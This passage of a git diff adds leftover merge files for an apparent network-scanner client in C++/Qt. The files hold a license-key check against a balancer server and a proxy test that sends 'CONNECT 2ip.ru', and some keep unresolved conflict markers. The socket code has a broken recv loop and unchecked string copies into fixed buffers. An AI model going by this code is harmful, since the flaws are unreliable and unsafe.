is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2715.cpp b/CheckKey_Th.cpp.REMOTE.2715.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2715.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2915.cpp b/CheckKey_Th.cpp.REMOTE.2915.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2915.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.orig b/CheckKey_Th.cpp.orig new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.orig @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckProxy_Th.cpp.BACKUP.3053.cpp b/CheckProxy_Th.cpp.BACKUP.3053.cpp new file mode 100644 index 0000000..c8c12de --- /dev/null +++ b/CheckProxy_Th.cpp.BACKUP.3053.cpp @@ -0,0 +1,208 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || 